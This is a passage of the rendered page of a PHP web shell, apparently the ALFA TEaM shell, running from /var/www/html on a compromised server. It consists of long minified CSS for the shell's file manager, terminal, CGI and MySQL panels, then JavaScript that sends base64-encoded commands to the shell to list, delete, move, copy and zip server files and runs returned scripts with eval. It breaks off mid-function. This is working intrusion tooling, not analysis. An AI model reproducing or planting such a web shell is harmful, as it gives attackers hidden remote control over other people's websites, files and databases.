ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:"\2610";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:"\2611";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:"";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:"";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:"";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http://solevisible.com/icons/menu/b_plus.png)}.ic_b_minus{background-image:url(http://solevisible.com/icons/menu/b_minus.png)}
@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}
@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}
@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}
@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}
#alfaloader{ -moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:100px;height:100px;}
#a_loader img{ -moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}
.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:#67ABDF;font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url(http://solevisible.com/images/alfamini.png);background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:0px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url(http://solevisible.com/images/alfamini.png);background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url(http://solevisible.com/images/btn.png);background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}
.foottable{width: 300px;font-weight: bold;}.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}.header{border: 7px solid #0E304A}#meunlist{border-color: #0E304A}#hidden_sh{background-color: #0E304A}.ajaxarea{border: 1px solid #0E304A}.foot{border-color: #0E304A}.header_vars{color: #27979B;}.header_values{color: #67ABDF;}.header_on{color: #00FF00;}.header_off{color: #ff0000;}.header_none{color: #00FF00;}.home_shell{color: #ff0000;}.home_shell:hover{color: #FFFFFF;}.back_shell{color: #efbe73;}.back_shell:hover{color: #FFFFFF;}.header_pwd{color: #00FF00;}.header_pwd:hover{color: #FFFFFF;}.header_drive{color: #00FF00;}.header_drive:hover{color: #FFFFFF;}.header_show_all{color: #00FF00;}.disable_functions{color: #ff0000;}.footer_text{color: #27979B;}.menu_options{color: #27979B;}.menu_options:hover{background-color: #646464;font-weight: unset;}.content_options_holder .header center a{color: #00FF00;}.content_options_holder .header center a:hover{color: #FFFFFF;}.txtfont_header{color: #59cc33;}.txtfont,.tbltxt{color: #FFFFFF;}.alfa_plus{color: #06ff0f;font-weight: unset;}#hidden_sh a{color: #00FF00;}.hidden_shell_version{color: #ff0000;}.shell_name{color: #FF0000;}.main tr:hover{background-color: #646464;}.main th{color: #FFFFFF;}.main .main_name{color: #FFFFFF;font-weight: unset;}.main_size{color: #67ABDF;}.main_modify{color: #67ABDF;}.main_owner_group{color: #67ABDF;}.main_green_perm{color: #25ff00;}.main_red_perm{color: #FF0000;}.main_white_perm{color: #FFFFFF;}.beetween_perms{color: #FFFFFF;}.main .actions{color: #FFFFFF;}.minimized-wrapper{background-color: #0e304a;}.minimized-text{color: #f5deb3;}.editor-explorer,.editor-modal{border: 2px solid #0e304a;}.editor-explorer,.editor-modal{background-color: rgba(0, 1, 23, 0.94);}.editor-header{background-color: rgba(21, 66, 88, 0.93);}.editor-path{color: #00ff7f;}.close-button, .editor-minimize{background-color: #1d5673;}.editor_actions{color: #FFFFFF;}.editor_file_info_vars{color: #FFFFFF;}.filestools{color: #67ABDF;}.hheader-text,.history-clear{color: #14ff07;}.editor-file-name{color: #03b3a3;}.is_active{background-color: rgba(49, 55, 93, 0.77);}.file-holder > .history:hover{background-color: #646464;}input[type=text],textarea{border: 1px solid #0E304A}input[type=text],textarea{color: #999999;}input[type=text]:hover,textarea:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}select{border: 1px solid #0E304A}select{color: #FFFFEE;}select:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}input[type=submit],.button,#addup{border: 1px solid #27979B;}input[type=submit]:hover{box-shadow:0 0 4px #27979B;border:2px solid #27979B;}.button:hover,#addup:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}.ml1{color: #67ABDF;}.ml1{border: 1px solid #0E304A;}.inputfile{box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;}.inputfile strong{background-color: #0E304A;}.inputfile strong{color: #FFFFFF;}.inputfile span{color: #25ff00;}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}.up_bar{background-color: #00ff00;}.mysql_tables{color: #00FF00;}.mysql_table_count{color: #67ABDF;}.copyright{color: #dfff00;}*::-webkit-scrollbar-thumb{background-color: #1e82b5;}*::-webkit-scrollbar-track{background-color: #000115;}
</style><script type="text/javascript">
var c_ = '/var/www/html/';
var a_ = 'FilesMan2';
var charset_ = '';
var islinux = true;
var post_encryption_mode = false;var alfa1_="",alfa2_="",alfa3_="",alfa4_="",alfa5_="",alfa6_="",alfa7_="",alfa8_="",alfa9_="",alfa10_="",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file="",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id="",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang="",upcount=1,terminal_walk_index=[],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:"",d.mf.alfa2.value=null!=i?i:"",d.mf.alfa3.value=null!=l?l:"",d.mf.alfa4.value=null!=o?o:"",d.mf.alfa5.value=null!=r?r:"",d.mf.alfa6.value=null!=n?n:"",d.mf.alfa7.value=null!=s?s:"",d.mf.alfa8.value=null!=c?c:"",d.mf.alfa9.value=null!=f?f:"",d.mf.alfa10.value=null!=_?_:"",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t="a="+alfab64("FilesMan")+"&c="+alfab64(e.c.value)+"&alfa1="+alfab64(e.alfa1.value)+"&ajax="+alfab64("true")+"&",i="",l=0;if(d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked&&(l++,i+="f[]="+alfab64(decodeURIComponent(e.value))+"&")}),0==l&&"paste"!=e.alfa1.value)return!1;switch(alfaloader("filesman_holder_"+a,"block"),e.alfa1.value){case"delete":d.querySelectorAll("#filesman_holder_"+a+" .fmanager-row").forEach(function(e){var a=e.querySelector("input[type=checkbox]");a.checked&&".."!=a.value?e.remove():a.checked=!1}),d.querySelector("#filesman_holder_"+a+" .chkbx").checked=!1;break;case"copy":case"move":case"zip":case"unzip":d.querySelectorAll("#filesman_holder_"+a+" input[type=checkbox]:checked").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader("filesman_holder_"+a,"none"),alfaFmngrContextRow()},!1,"filesman_holder_"+a)}function initDir(e){var a="",t="";islinux&&(a="<a class=\"header_pwd\" onclick=\"g('FilesMan','/');\" path='/' href='#action=fileman&path=/'>/</a>",t="/");var l=e.split("/"),o="",r=islinux?"/":"";for(i in"-1"!=l.indexOf("..")&&(l.splice(l.indexOf("..")-1,1),l.splice(l.indexOf(".."),1)),l)""!=l[i]&&(o+="<a onclick=\"g('FilesMan','"+r+l[i]+"/');\" path='"+r+l[i]+"/' href='#action=fileman&path="+r+l[i]+'/\' class="header_pwd">'+l[i]+"/</a>",r+=l[i]+"/");$("header_cwd").innerHTML=a+o+" ",alfaInitCwdContext(),l=(l=t+l.join("/")).replace("//","/"),d.footer_form.c.value=l,$("footer_cwd").value=l,c_=l}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject("Microsoft.XMLHTTP")),void 0!==l&&(_ALFA_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?"function"==typeof t&&(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&&200!=o.status&&(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),void o.send(a)):void alert("Error !")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&&delete _ALFA_AJAX_[e]}function handleup(e,a){var t="__fnameup";if(0!=a&&(t="__fnameup"+a),e.files.length>1){for(var i="",l=0;l<e.files.length;l++)i+=e.files[0].name+", ";$(t).innerHTML=i}else 